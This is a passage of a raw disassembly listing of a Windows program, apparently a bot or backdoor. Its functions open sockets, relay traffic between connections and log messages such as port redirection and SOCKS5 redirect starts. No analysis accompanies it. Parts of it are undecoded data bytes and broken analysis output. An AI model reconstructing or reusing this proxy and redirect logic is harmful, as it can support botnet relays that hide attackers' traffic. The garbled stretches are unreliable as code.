; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 2850369h
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; Ο
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ‘
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ρ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; θ
		db 0CEh	; Ξ
		db  54h	; T
		db 0FDh	; ύ
		db 0FFh
		db  68h	; h
		db  54h	; T
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Η
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Η
		db    6
		db 0C0h	; ΐ
		db 0F1h	; ρ
		db  43h	; C
		db    0
		db 0E8h	; θ
		db 0F4h	; τ
		db  4Ah	; J
		db 0FDh	; ύ
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Ζ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Δ
		db  10h
		db 0C3h	; Γ
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2850369h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
		dd 7EED1BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F30
		jnz	short loc_42D6DD
		push	offset byte_448F30
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A4D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

